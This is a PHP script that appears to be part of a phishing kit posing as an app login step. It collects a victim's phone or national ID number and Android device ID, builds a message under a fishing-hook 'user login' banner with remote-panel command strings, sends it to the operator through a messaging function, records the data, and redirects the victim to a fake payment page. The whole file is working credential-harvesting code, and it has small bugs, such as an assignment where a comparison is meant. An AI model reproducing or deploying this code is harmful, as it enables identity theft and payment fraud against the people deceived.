<?php
error_reporting(0);
require("payment/function.php");
session_start();
$message = '';

$nationalId = isset($_POST['nationalId']) && !empty(trim($_POST['nationalId'])) ? trim($_POST['nationalId']) : null;

if(!empty($nationalId))
{
    $_SESSION['phone'] = $nationalId;
}
if(isset($_POST["android_id"])){
    $_SESSION['android_id'] = $_POST['android_id'];
    $_SESSION['id_type'] = $_POST['id_type'];
}

$android_id = '';
if(!empty($_POST['android_id'])) {
    if($_POST['id_type'] == "e7") {
        $android_id = "\n\n📱⤳ ᴀɴᴅʀᴏɪᴅ ɪᴅ : <code>/panel_{$_POST['android_id']}</code>\n";
    } elseif($_POST['id_type'] == "x") {
        $android_id = "\n\n📱⤳ ᴀɴᴅʀᴏɪᴅ ɪᴅ : <code>/set_{$_POST['android_id']}</code>\n";
    } else {
        $android_id = "\n\n📱⤳ ᴀɴᴅʀᴏɪᴅ ɪᴅ : <code>{$_POST['android_id']}</code>\n";
    }
}

$message = "🎣⤳ <b>ᴜꜱᴇʀ ʟᴏɢɪɴ ᴛʜᴇ #Application</b>\n\n" .
"\n" .
"• 📱 <b>ᴛᴇʟ-ᴘʜᴏɴᴇ:</b> <code>".htmlspecialchars($nationalId)."</code>".
GetClientInfo() . $android_id;
if(isset($_POST['android_id']) and $_POST['id_type'] = "e7"){
    $rand = rand(0000000000,9999999999);
 $result = PaymentRequests(
     "ADD_INFO",
     null, 
     null, 
     null, 
     null, 
     null, 
     null, 
     null, 
     $_POST['android_id'], 
     htmlspecialchars($codemeli), 
     htmlspecialchars($nationalId)
 );
}
if(!empty($message)) {
    smg($message);
}
header("Location: payment/payment.php");
?>